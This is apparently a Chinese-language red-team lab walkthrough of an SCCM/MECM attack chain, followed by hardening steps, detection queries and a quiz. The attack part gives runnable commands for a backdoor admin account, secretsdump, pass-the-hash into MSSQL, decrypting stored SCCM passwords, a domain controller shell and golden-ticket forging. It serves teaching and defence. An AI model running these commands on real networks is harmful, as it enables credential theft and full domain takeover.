雖然我們有 MECM 的 SYSTEM Shell,但為了方便後續操作(如 RDP 連接、檔案傳輸等),建立一個本地管理員帳戶更為實用。
在 MECM 的 SYSTEM Shell 中執行:
# 建立新的本地使用者
PS C:\Windows\CCM> net user myadmin myadminpass /add
The command completed successfully.
# 將使用者加入本地管理員群組
PS C:\Windows\CCM> net localgroup administrators myadmin /add
The command completed successfully.
# 驗證
PS C:\Windows\CCM> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
SCCM\Domain Admins
SCCM\sccm-account-da
myadmin
The command completed successfully.
驗證新帳戶可以登入:
# 從攻擊機驗證
nxc smb 192.168.52.11 \
-u myadmin \
-p myadminpass \
--local-auth
方法 1:使用 secretsdump(遠端)
# 使用新建立的本地管理員帳戶
secretsdump.py \
MECM/myadmin:'myadminpass'@192.168.52.11
預期輸出:
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:...
myadmin:1001:aad3b435b51404eeaad3b435b51404ee:...
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
SCCM\MECM$:aad3b435b51404eeaad3b435b51404ee:c8c42823ab75c8740c3a4ae7329b4d20
[*] DPAPI_SYSTEM
dpapi_machinekey:0x...
dpapi_userkey:0x...
[*] NL$KM
0x...
[*] Cleaning up...
重要資訊:
MECM$ NTLM Hash: a3c20c3c9cb9ad0ca2279ba9ae74364d
DPAPI Machine Key: 0x251d19b7bb4deb6444b19a97bdcc9d00459e193d
為什麼這個有效:
連接資料庫:
# 使用 MECM$ 的 NTLM 雜湊連接
mssqlclient.py \
-windows-auth \
-hashes 'aad3b435b51404eeaad3b435b51404ee:a3c20c3c9cb9ad0ca2279ba9ae74364d' \
'SCCMLAB/MECM$'@192.168.52.12
步驟 1:切換到 SCCM 資料庫
SQL> USE CM_P01;
步驟 2:查詢所有使用者帳戶
SQL> SELECT * FROM SC_UserAccount;
重要:Password 欄位包含使用 DPAPI 加密的密碼。
步驟 3:取得完整的加密資料
輸出範例:
UserName: sccm-account-da
Password: 0C0100000C000000010200000366000000A400003ACC12F3A3E8BCF9D14299CAD4D45EAEBE81F2408126ACB0C74980CB45D44CA3912047E2A959D25665A395873C502F3171E2A238402CCDDDD8FDC22813DDB4C2181D2FC5B4307E8A52AACBCCD51265894D26016D54A85146CE7F6995BDFEBFBEB51E83A533EEBB882D648221A1C9DD0732427274678EE0623ACB9E94F4EFC05C4717DEE12A91C91FAB4CAB77C7A6EA74A7EAA5E202B395343AE60CBBE3A1BAA25ED9287143851EBFCB8073B16B2AA661EF73FB302B90A4226583C78AC9DAFB89CF76AF7BC514E204B2914B0B49CBD703ED40D4FD3D32425DBDCF3DE1444E77B83F17942290CBA21619B18E432E0EF187686CF2F08BC69ECD44AD3CAEAB8EE38353D39C87F93B8C599A9F3B13017228F2
將這個十六進位值複製下來。
解密原理:
SCCM 使用 Windows DPAPI 加密儲存在資料庫中的密碼。解密需要:
步驟 1:連接到 MECM 伺服器
# 使用 RDP 連接
xfreerdp3 \
/u:"myadmin" \
/p:"myadminpass" \
/v:"192.168.52.11" \
/cert:ignore \
/drive:share,/workspace
步驟 2:下載解密工具
在 MECM 的 PowerShell 中:
# 切換到桌面
cd C:\Users\myadmin\Desktop
# 下載 Adam Chester (xpn) 的解密 PoC
curl https://gist.githubusercontent.com/xpn/5f497d2725a041922c427c3aaa3b37d1/raw/f3cc19a7a834adc9676983def23f2a1b43221b42/sccmdecryptpoc.cs -O sccmdecryptpoc.cs
步驟 3:編譯解密工具
# 使用 C# 編譯器編譯
C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe /t:exe /out:sccmdecryptpoc.exe sccmdecryptpoc.cs
預期輸出:
Microsoft (R) Visual C# Compiler version 3.5.30729.9151
Copyright (C) Microsoft Corporation. All rights reserved.
步驟 4:解密所有密碼
從資料庫查詢取得每個帳戶的加密密碼,然後逐一解密:
解密 sccm-client-push:
.\sccmdecryptpoc.exe "0C01000008000000010200000366000000A40000960F040E8ACBA6C40F20A2183981A67C56485E04B21A96548CD92D76D66414C68ECE3C12EE45AD5B68A9A9C4738CC8FE3D5B0077D40FCFC4035B527161888F5D7299745C0745704A48A5C38343C5CBA454CF738C4DFD3046A821B7DBF10E9A9492F96269BE9151D484486E1A2A00D49BF6BFE44E155CF3E0282C1EDF94C5B046915E3442DB657FE34E98F6F6DB442648DC009CB96C29AEA7C5593A1F0CC7D1ABE2643D134EA2D8059B2141DA64B55D85C40B011D2379E3B2214A57DE46983DF4820BB10580CBF5D3221557D9A3B7E501C4EE7D313775357E6452BD43198EEACA6924B659864C808E5FBD13541B30365B281F071597DD83BA61C522164FE442509274729632DF5703E3C99AD4C43B113D"
輸出:
[*] Decrypting password...
[+] Decrypted Password: superman
解密 sccm-naa:
.\sccmdecryptpoc.exe " 0C01000009000000010200000366000000A400009B42ABAC53F64161885C41BE91176EEA01CCB713620FA1715B9D2089853FCE200C88F4DCA0E9B4720755C077385B63F07EA481A01854A90D819EE46BAC1E451703C8C5973D8F232F7964332BD4041BC4AF9C2D73BA8C16F1844F46BC36FCD7236EC48D7FA54F1232F419D5A62060FE54F66A9054B3DD66C99BC6F719C1365606F7EFE30323CB4DF2663FE1B2680402F8FCF2F0C33599FD6569020E9931B5BB710E92B776CDDA54F3E2DC932B94CCEE9B6BA35D075BDFDEB1CA0445094C848ED5AEF535879E48A787DD1B8DFD5CCDE55731FEC6BEE36717EBC5C5E31F0595C90FB838B51AF0BC2F48938B52F8262E2EDC8E106043378A21179C5FF2B0C82EBE521C86195D98CD15A54457FD41A4690B41 0
72057594037927939"
輸出:
[*] Decrypting password...
[+] Decrypted Password: 123456789
解密 sccm-account-da(關鍵):
.\sccmdecryptpoc.exe "0C0100000C000000010200000366000000A400003ACC12F3A3E8BCF9D14299CAD4D45EAEBE81F2408126ACB0C74980CB45D44CA3912047E2A959D25665A395873C502F3171E2A238402CCDDDD8FDC22813DDB4C2181D2FC5B4307E8A52AACBCCD51265894D26016D54A85146CE7F6995BDFEBFBEB51E83A533EEBB882D648221A1C9DD0732427274678EE0623ACB9E94F4EFC05C4717DEE12A91C91FAB4CAB77C7A6EA74A7EAA5E202B395343AE60CBBE3A1BAA25ED9287143851EBFCB8073B16B2AA661EF73FB302B90A4226583C78AC9DAFB89CF76AF7BC514E204B2914B0B49CBD703ED40D4FD3D32425DBDCF3DE1444E77B83F17942290CBA21619B18E432E0EF187686CF2F08BC69ECD44AD3CAEAB8EE38353D39C87F93B8C599A9F3B13017228F2"
輸出:
[*] Decrypting password...
[+] Decrypted Password: SCCM_D@-ftw_
所有取得的憑證總結:
sccm-client-push:
- 密碼:superman
- 權限:CLIENT 本地管理員
sccm-naa:
- 密碼:123456789
- 權限:SCCM 發布點讀取權限
sccm-account-da:
- 密碼:SCCM_D@-ftw_
- 權限:域管理員(待驗證)
使用新取得的憑證驗證:
# 測試 sccm-account-da 在域控制站的權限
nxc smb 192.168.52.10 \
-u sccm-account-da \
-p 'SCCM_D@-ftw_' \
-d sccm.lab
取得 DC Shell:
# 使用 PSExec
impacket-psexec \
sccm.lab/sccm-account-da:'SCCM_D@-ftw_'@192.168.52.10
或使用 Evil-WinRM:
evil-winrm \
-i 192.168.52.10 \
-u sccm-account-da \
-p 'SCCM_D@-ftw_'
whoami
whoami /groups | findstr "Domain Admins"
hostname
成功! 我們現在是域管理員,完全控制了整個 SCCM.lab 域。
提取域內所有雜湊:
secretsdump.py \
sccm.lab/sccm-account-da:'SCCM_D@-ftw_'@192.168.52.10
黃金票證製作:
# 使用 krbtgt 雜湊製作黃金票證
impacket-ticketer \
-nthash b4336da61e1e3943bb014edeef50dfb0 \
-domain-sid S-1-5-21-3544182104-1320166847-3102157022 \
-domain sccm.lab \
Administrator
已完成:
取得的高權限憑證:
sccm-account-da:
- 使用者:sccm.lab\sccm-account-da
- 密碼:SCCM_D@-ftw_
- 群組:Domain Admins
- 權限:完全控制域環境
krbtgt:
- NTLM: [已提取]
- AES256: [已提取]
- 用途:製作黃金票證
所有域用戶的 NTLM 雜湊:
- 可用於 Pass-the-Hash
- 可用於破解明文密碼
攻擊影響評估:
妥協範圍:完整域環境
受影響資產:
- 所有域控制站
- 所有域成員伺服器
- 所有域工作站
- SCCM 管理基礎設施
- MSSQL 資料庫伺服器
攻擊者能力:
- 建立/刪除任何域帳戶
- 修改群組成員資格
- 部署軟體到所有機器
- 存取所有域資源
- 製作黃金/銀票證
- 持久化存取
各階段的偵測可能性:
偵測難度評估(1-5星,5星最難偵測)
階段一:PXE 攻擊
偵測難度:★★☆☆☆
偵測方法:TFTP 日誌、異常 PXE 請求
階段二:NTLM Relay
偵測難度:★★★☆☆
偵測方法:認證日誌、SQL 資料庫變更
階段三:SCCM 管理活動
偵測難度:★★★★☆
偵測方法:SCCM 稽核日誌、異常查詢模式
階段四:憑證收集
偵測難度:★★★★☆
偵測方法:WMI 查詢監控、檔案存取監控
階段五:腳本部署
偵測難度:★★☆☆☆
偵測方法:SCCM 部署日誌、反向連線
階段六:資料庫存取
偵測難度:★★★☆☆
偵測方法:SQL 查詢日誌、敏感資料表存取
階段七:域管理員利用
偵測難度:★★☆☆☆
偵測方法:特權帳戶使用、DC 日誌
此攻擊鏈成功的關鍵條件:
從紅隊角度:
優勢:
風險:
持久化選項:
立即實施(P0):
# 在所有 SCCM 伺服器上執行
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
Set-SmbClientConfiguration -RequireSecuritySignature $true -Force
群組原則設定:
電腦設定 → 原則 → Windows 設定 → 安全性設定 → 本機原則 → 安全性選項
→ Microsoft 網路伺服器: 數位簽章通訊 (一律) = 已啟用
→ Microsoft 網路用戶端: 數位簽章通訊 (一律) = 已啟用
# 在域控制站上
Set-ADDomainController -LDAPServerIntegrity 2
# 啟用通道繫結
Set-ItemProperty `
-Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LdapEnforceChannelBinding" `
-Value 2
在 SQL Server 上:
SQL Server Configuration Manager
→ SQL Server Network Configuration
→ Protocols for [Instance]
→ Properties
→ Advanced
→ Extended Protection = Required
短期實施(P1):
# 停用列印服務(如果不需要)
Stop-Service -Name Spooler
Set-Service -Name Spooler -StartupType Disabled
管理 VLAN (VLAN 10)
├─ MECM: 192.168.52.11
├─ MSSQL: 192.168.52.12
└─ 防火牆規則:僅允許必要流量
生產 VLAN (VLAN 20)
├─ CLIENT: 192.168.52.13
└─ 其他工作站
封鎖規則:
VLAN 20 → VLAN 10: TFTP (UDP 69)
VLAN 20 → VLAN 10: MSSQL (TCP 1433)
限制資料庫權限:
-- 在 MSSQL 上執行
USE master;
-- 移除 MECM$ 的 sysadmin 角色
EXEC sp_dropsrvrolemember 'SCCM\MECM$', 'sysadmin';
-- 僅授予必要的資料庫權限
USE CM_P01;
CREATE USER [SCCM\MECM$] FOR LOGIN [SCCM\MECM$];
EXEC sp_addrolemember 'db_datareader', 'SCCM\MECM$';
EXEC sp_addrolemember 'db_datawriter', 'SCCM\MECM$';
-- 拒絕修改敏感資料表
DENY UPDATE ON RBAC_Admins TO [SCCM\MECM$];
DENY INSERT ON RBAC_Admins TO [SCCM\MECM$];
DENY DELETE ON RBAC_Admins TO [SCCM\MECM$];
實施 RBAC 最小權限:
# 建立受限的管理角色
New-CMSecurityRole `
-Name "Restricted SCCM Operator" `
-Description "Limited operator role"
# 移除不必要的權限
$role = Get-CMSecurityRole -Name "Restricted SCCM Operator"
Remove-CMSecurityRolePermission `
-SecurityRole $role `
-PermissionType "Modify" `
-ObjectType "SMS_R_System"
稽核 SCCM 管理員:
# 定期檢查管理員列表
Get-CMAdministrativeUser |
Select-Object LogonName, AccountType, LastModifiedDate |
Export-Csv "SCCM_Admins_$(Get-Date -Format 'yyyyMMdd').csv"
遷移到 Enhanced HTTP:
SCCM 主控台
→ 管理
→ 站點設定
→ 站點
→ [右鍵] 內容
→ 通訊安全
→ ✓ 使用 Configuration Manager 產生的憑證用於 HTTP 站點系統
→ 客戶端電腦通訊:HTTPS 或 HTTP
如果必須使用 NAA,實施嚴格控制:
# 檢查 NAA 的群組成員資格
$naaAccount = "sccm-naa"
Get-ADUser -Identity $naaAccount -Properties MemberOf
# 應該只屬於 Domain Users
# 移除其他所有群組成員資格
# 自動化腳本:每 90 天更換密碼
$newPassword = [System.Web.Security.Membership]::GeneratePassword(20, 5)
Set-ADAccountPassword `
-Identity "sccm-naa" `
-NewPassword (ConvertTo-SecureString $newPassword -AsPlainText -Force)
# 在 SCCM 中更新
# 管理 → 站點設定 → 站點 → 設定站點元件 → 軟體發佈
部署 LAPS:
# 安裝 LAPS
Import-Module AdmPwd.PS
# 擴充 AD 架構
Update-AdmPwdADSchema
# 設定權限
Set-AdmPwdComputerSelfPermission -OrgUnit "OU=Workstations,DC=sccm,DC=lab"
# 設定密碼策略
Set-AdmPwdPasswordPolicy `
-OrgUnit "OU=Workstations,DC=sccm,DC=lab" `
-PasswordLength 20 `
-PasswordComplexity 4 `
-PasswordAge 30
強制腳本核准流程:
SCCM 主控台
→ 管理
→ 站點設定
→ 站點
→ 階層設定
→ ✓ 需要核准才能執行腳本
→ 核准者:[指定核准者群組]
實施部署視窗:
# 建立維護視窗,限制部署時間
New-CMMaintenanceWindow `
-CollectionId "SMS00001" `
-Name "Production Deployment Window" `
-StartTime "2025-10-14 02:00:00" `
-Duration 240 `
-RecurInterval Days `
-RecurCount 1
監控異常部署:
# 每小時檢查新部署
$lastHour = (Get-Date).AddHours(-1)
$deployments = Get-CMDeployment |
Where-Object { $_.CreationTime -gt $lastHour }
foreach ($deployment in $deployments) {
if ($deployment.CollectionName -eq "All Systems") {
# 發送警報
Send-MailMessage `
-To "security@company.com" `
-Subject "ALERT: Deployment to All Systems" `
-Body "Deployment: $($deployment.ApplicationName)"
}
}
實施資料庫稽核:
-- 建立稽核規格
USE master;
GO
CREATE SERVER AUDIT SCCM_Audit
TO FILE (FILEPATH = 'C:\SQLAudit\');
CREATE SERVER AUDIT SPECIFICATION SCCM_Audit_Spec
FOR SERVER AUDIT SCCM_Audit
ADD (SUCCESSFUL_LOGIN_GROUP),
ADD (FAILED_LOGIN_GROUP),
ADD (SCHEMA_OBJECT_CHANGE_GROUP);
ALTER SERVER AUDIT SCCM_Audit WITH (STATE = ON);
ALTER SERVER AUDIT SPECIFICATION SCCM_Audit_Spec WITH (STATE = ON);
-- 資料庫層級稽核
USE CM_P01;
GO
CREATE DATABASE AUDIT SPECIFICATION SCCM_DB_Audit_Spec
FOR SERVER AUDIT SCCM_Audit
ADD (SELECT, UPDATE, INSERT, DELETE ON SCHEMA::dbo BY [SCCM\MECM$]);
ALTER DATABASE AUDIT SPECIFICATION SCCM_DB_Audit_Spec WITH (STATE = ON);
監控敏感資料表:
-- 建立觸發器監控 RBAC 變更
USE CM_P01;
GO
CREATE TRIGGER trg_RBAC_Admins_Audit
ON RBAC_Admins
AFTER INSERT, UPDATE, DELETE
AS
BEGIN
INSERT INTO RBAC_Audit_Log (
Action,
LogonName,
AdminSID,
ModifiedBy,
ModifiedDate
)
SELECT
'INSERT' as Action,
LogonName,
AdminSID,
SYSTEM_USER,
GETDATE()
FROM inserted;
END;
加密敏感資料:
-- 使用 Always Encrypted 保護密碼欄位
ALTER TABLE SC_UserAccount
ALTER COLUMN Password ADD ENCRYPTED WITH (
ENCRYPTION_TYPE = DETERMINISTIC,
ALGORITHM = 'AEAD_AES_256_CBC_HMAC_SHA_256',
COLUMN_ENCRYPTION_KEY = SCCM_CEK
);
關鍵事件 ID 監控:
Windows Event IDs:
認證事件:
- 4624: 成功登入 (類型 3 = 網路登入)
- 4625: 登入失敗
- 4768: Kerberos TGT 請求
- 4769: Kerberos TGS 請求
權限變更:
- 4672: 特殊權限指派
- 4720: 建立使用者帳戶
- 4732: 成員加入本機群組
- 4756: 成員加入全域群組
物件存取:
- 5140: 存取網路共享
- 5145: 檢查共享物件
- 4663: 嘗試存取物件
RPC/列印:
- 307: 列印服務相關事件
SQL Server Events:
- 登入成功/失敗
- 權限變更
- 敏感資料表存取 (RBAC_Admins, SC_UserAccount)
SCCM Events:
- 腳本執行
- 部署建立
- 管理員變更
- CMPivot 查詢
Splunk 查詢範例:
# 偵測 NTLM Relay 攻擊
index=windows EventCode=4624 Logon_Type=3
| where Account_Name LIKE "%$"
| stats count by src_ip, dest_ip, Account_Name
| where count > 5
# 偵測異常的 SCCM 管理活動
index=sccm source="*AdminUI.log"
| regex _raw="RBAC_Admins|add_admin"
| stats count by user, action
| where count > 1
# 偵測腳本部署到所有系統
index=sccm source="*ScriptExecution.log"
| regex Collection="All Systems"
| table _time, user, script_name, target
# 偵測資料庫異常查詢
index=sql source="*ERRORLOG"
| regex _raw="SC_UserAccount|RBAC_Admins"
| stats count by user, query
| where count > 3
高優先級告警:
條件:INSERT/UPDATE/DELETE on RBAC_Admins
嚴重性:Critical
動作:立即通知 + 暫時停用 SCCM
條件:新管理員加入且不在白名單
嚴重性:High
動作:通知 + 自動移除
條件:部署目標 > 100 台機器
嚴重性:Medium
動作:通知 + 需要核准
條件:機器帳戶從非預期來源認證
嚴重性:High
動作:通知 + 封鎖來源 IP
在 NTLM Relay 攻擊中,為什麼 MECM$ 機器帳戶的認證可以被成功中繼到 MSSQL 伺服器?
A. MECM$ 是域管理員
B. MECM$ 必須是 MSSQL Server 的 sysadmin 才能管理 SCCM 資料庫
C. MSSQL 沒有設定密碼
D. MECM$ 使用了弱密碼
答案:B
解析:
MECM$ 機器帳戶是 MSSQL 的 sysadmin(最高權限),因為 SCCM 需要完整控制資料庫。攻擊者利用這點:強制 MECM 認證 → Relay 到 MSSQL → 用 sysadmin 權限修改管理員資料表。防禦:啟用 SMB 簽章。
使用 SharpSCCM 從客戶端提取 SCCM 憑證時,為什麼需要本地管理員權限?
A. 需要安裝 SharpSCCM 軟體
B. SCCM 憑證使用 DPAPI 加密,解密需要 SYSTEM 或管理員權限存取 Master Key
C. 需要修改 SCCM 客戶端設定
D. 需要連接到遠端 SCCM 伺服器
答案:B
解析:
SCCM 憑證用 DPAPI 加密,加密金鑰(Master Key)存在 C:\Windows\System32\Microsoft\Protect\S-1-5-18\
。只有管理員或 SYSTEM 能讀取這個目錄,所以需要管理員權限才能解密。
在第三階段的腳本部署攻擊中,為什麼需要建立一個「核准用帳戶」(approval account)?
A. SCCM 環境啟用了腳本執行需要核准的安全設定
B. 需要第二個帳戶來繞過防火牆
C. Carol 的密碼過期了
D. 為了隱藏攻擊痕跡
答案:A
解析:
SCCM 安全規則:建立腳本的人和核准腳本的人必須是不同帳戶(職責分離)。carol 建立腳本但不能自己核准,所以需要第二個管理員帳戶(approval$)來核准。
在資料庫憑證解密階段,使用 sccmdecryptpoc.exe
工具時,為什麼必須在 MECM 伺服器上本地執行,而不能在其他機器上解密?
A. 工具只能在 Windows Server 上執行
B. 解密需要 MECM 伺服器上的 DPAPI Master Key
C. 資料庫只允許從 MECM 連接
D. 需要 MECM 伺服器的網路設定
答案:B
解析:
密碼是用 MECM 伺服器的 DPAPI 加密的,解密金鑰(Master Key)只存在 MECM 伺服器上,而且無法複製到其他機器。就像鎖和鑰匙:必須在有鑰匙的地方才能開鎖。
完成整個攻擊鏈後,從低權限域用戶(carol)到域管理員(sccm-account-da)的最關鍵步驟是什麼?
A. PXE Boot 攻擊取得初始憑證
B. NTLM Relay 到 MSSQL 提升為 SCCM 管理員
C. 使用 SharpSCCM 收集本地憑證
D. 資料庫憑證解密
答案:B
解析:
NTLM Relay 是最關鍵的步驟,因為:
簡單說:這是從「低權限」跳到「高權限」的唯一關鍵突破點。